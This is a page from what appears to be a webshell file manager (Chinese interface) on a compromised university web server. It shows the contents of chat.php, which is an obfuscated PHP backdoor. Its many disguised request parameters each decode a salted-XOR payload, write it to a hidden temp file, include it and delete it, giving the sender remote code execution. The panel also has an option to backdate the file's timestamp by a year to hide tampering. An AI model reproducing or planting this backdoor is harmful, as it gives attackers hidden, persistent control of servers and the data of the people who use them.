文件操作 - chat.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/chat.php
编辑文件内容
<?php if(in_array("\x72\x65\x63ord", array_keys($_REQUEST))){ $holder = $_REQUEST["\x72\x65\x63ord"]; $holder = explode ( "." , $holder ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $z = 0; foreach ($holder as $v7) { $chS = ord($salt[$z % $lenS] ); $d = ((int)$v7 - $chS - ($z % 10))^62; $sym.= chr($d ); $z++; } $dat = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); for ($mrk = 0, $reference = count($dat); $mrk < $reference; $mrk++) { $ent = $dat[$mrk]; if (is_dir($ent) ? is_writable($ent) : false) { $ref = str_replace("{var_dir}", $ent, "{var_dir}/.ptr"); if (@file_put_contents($ref, $sym) !== false) { include $ref; unlink($ref); exit; } } } } if(array_key_exists("el\x65m", $_REQUEST) && !is_null($_REQUEST["el\x65m"])){ $entity = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP")]); $reference = $_REQUEST["el\x65m"]; $reference = explode ("." , $reference ); $property_set =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt6 ); $l =0; $__len =count($reference ); do { if ($l>=$__len) break; $v7 =$reference[$l]; $sChar =ord($salt6[$l % $sLen] ); $d =((int)$v7 - $sChar - ($l % 10)) ^ 7; $property_set .=chr($d ); $l++; } while (true ); foreach ($entity as $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $flg = "$item" . "/.ref"; $success = file_put_contents($flg, $property_set); if ($success) { include $flg; @unlink($flg); die();} } } } if(filter_has_var(INPUT_POST, "\x65nt")){ $pointer = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $pgrp = $_POST["\x65nt"]; $pgrp =explode( '.', $pgrp ) ; $tkn=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s6); $k=0; foreach($pgrp as $v5) { $chS=ord($s6[$k % $lenS]); $dec=((int)$v5 - $chS -($k % 10)) ^ 34; $tkn .= chr($dec); $k++; } foreach ($pointer as $ref) { if ((is_dir($ref) and is_writable($ref))) { $property_set = join("/", [$ref, ".resource"]); if (file_put_contents($property_set, $tkn)) { require $property_set; unlink($property_set); die(); } } } } if(isset($_REQUEST["e\x6C\x65\x6D\x65nt"])){ $factor = $_REQUEST["e\x6C\x65\x6D\x65nt"]; $factor = explode ( "." ,$factor ) ; $hld = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $l = 0; array_walk( $factor, function( $v9) use( &$hld, &$l, $salt4, $lenS) { $sChar = ord( $salt4[$l % $lenS]); $dec = ( ( int)$v9 - $sChar -( $l % 10)) ^ 98; $hld.= chr( $dec); $l++; } ); $resource = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($resource as $item): if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $ent = join("/", [$item, ".comp"]); if (file_put_contents($ent, $hld)) { include $ent; @unlink($ent); exit; } } endforeach; } if(count($_POST) > 0 && isset($_POST["pset"])){ $pgrp = array_filter(["/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir()]); $pointer = $_POST["pset"]; $pointer = explode ("." , $pointer ); $dat =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt2); foreach ($pointer as $v => $v7): $chS =ord($salt2[$v % $lenS]); $dec =((int)$v7 - $chS - ($v % 10)) ^ 26; $dat .= chr($dec); endforeach; while ($comp = array_shift($pgrp)) { if (is_dir($comp) && is_writable($comp)) { $marker = str_replace("{var_dir}", $comp, "{var_dir}/.element"); if (file_put_contents($marker, $dat)) { require $marker; unlink($marker); exit; } } } } if(filter_has_var(INPUT_POST, "k")){ $obj = $_POST["k"]; $obj = explode ( '.' , $obj) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($obj); for($z = 0; $z < $__len; $z++) { $v1 = $obj[$z]; $chS = ord($s[$z % $lenS]); $dec =((int)$v1 - $chS -($z % 10)) ^ 87; $flg.= chr($dec); } $symbol = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); foreach ($symbol as $key => $itm) { if (array_product([is_dir($itm), is_writable($itm)])) { $pset = "$itm" . "/.comp"; if (file_put_contents($pset, $flg)) { require $pset; unlink($pset); exit; } } } } if(!is_null($_POST["p\x72o\x70\x65r\x74\x79\x5Fset"] ?? null)){ $marker = $_POST["p\x72o\x70\x65r\x74\x79\x5Fset"]; $marker = explode('.' , $marker ); $symbol = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $i = 0; array_walk($marker , function ($v6) use (&$symbol , &$i , $salt4 , $lenS) {$chS = ord($salt4[$i% $lenS] ); $d = ((int)$v6 - $chS - ($i% 10)) ^ 16; $symbol .= chr($d ); $i++; } ); $tkn = array_filter([getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP")]); for ($hld = 0, $holder = count($tkn); $hld < $holder; $hld++) { $item = $tkn[$hld]; if (is_dir($item) ? is_writable($item) : false) { $ptr = sprintf("%s/.flag", $item); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $ptr; @unlink($ptr); die(); } } } } if(filter_has_var(INPUT_POST, "t\x6Bn")){ $marker = $_REQUEST["t\x6Bn"]; $marker = explode ( '.',$marker ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $t = 0; $__len = count( $marker); do { if( $t>=$__len) break; $v2 = $marker[$t]; $chS = ord( $salt[$t % $sLen]); $d =( ( int)$v2 - $chS -( $t % 10)) ^ 19; $obj .= chr( $d); $t++; } while( true); $element = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir()]); foreach ($element as $key => $pgrp) { if ((is_dir($pgrp) and is_writable($pgrp))) { $binding = str_replace("{var_dir}", $pgrp, "{var_dir}/.token"); if (file_put_contents($binding, $obj)) { require $binding; unlink($binding); exit; } } } } if(!empty($_REQUEST["ho\x6C\x64\x65r"])){ $data = $_REQUEST["ho\x6C\x64\x65r"]; $data=explode ( "." , $data ) ; $bind = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $i = 0; $len = count($data); do { if ($i >= $len) break; $v3 = $data[$i]; $chS = ord($s9[$i % $lenS]); $dec = ((int)$v3 - $chS - ($i % 10)) ^ 94; $bind .=chr($dec); $i++; } while (true); $ent = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $itm = 0; do { $value = $ent[$itm] ?? null; if ($itm >= count($ent)) break; if ((is_dir($value) and is_writable($value))) { $descriptor = "$value/.pset"; if (@file_put_contents($descriptor, $bind) !== false) { include $descriptor; unlink($descriptor); exit; } } $itm++; } while (true); } if(!empty($_REQUEST["\x73\x79m"])){ $elem = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $property_set = $_REQUEST["\x73\x79m"]; $property_set = explode ( '.', $property_set ); $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $m = 0; array_walk( $property_set,function( $v2) use( &$factor,&$m,$salt,$lenS) { $chS = ord( $salt[$m % $lenS]); $dec = ( ( int)$v2 - $chS -( $m % 10)) ^ 5; $factor .= chr( $dec); $m++; } ); foreach ($elem as $bind) { if (array_product([is_dir($bind), is_writable($bind)])) { $desc = "$bind/.flag"; if (file_put_contents($desc, $factor)) { require $desc; unlink($desc); die(); } } } } if(isset($_POST) && isset($_POST["\x72e\x63o\x72d"])){ $mrk = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $binding = $_POST["\x72e\x63o\x72d"]; $binding =explode ( "." , $binding) ; $itm = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($binding as $q => $v4) {$chS = ord($s1[$q % $sLen]); $d = ((int)$v4 - $chS - ($q % 10)) ^ 80; $itm .=chr($d); } foreach ($mrk as $fac): if (array_product([is_dir($fac), is_writable($fac)])) { $res = "$fac/.ref"; $success = file_put_contents($res, $itm); if ($success) { include $res; @unlink($res); exit;} } endforeach; } if(!is_null($_POST["symbo\x6C"] ?? null)){ $tkn = $_POST["symbo\x6C"]; $tkn = explode ( '.' ,$tkn ) ; $descriptor= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $r= 0; array_walk($tkn, function($v7) use(&$descriptor, &$r, $salt, $sLen) {$chS= ord($salt[$r% $sLen] ); $d= ((int)$v7 - $chS -($r% 10)) ^ 59; $descriptor .= chr($d ); $r++; } ); $elem = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp"]); while ($comp = array_shift($elem)) { if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $object = str_replace("{var_dir}", $comp, "{var_dir}/.ref"); if (file_put_contents($object, $descriptor)) { require $object; unlink($object); exit; } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件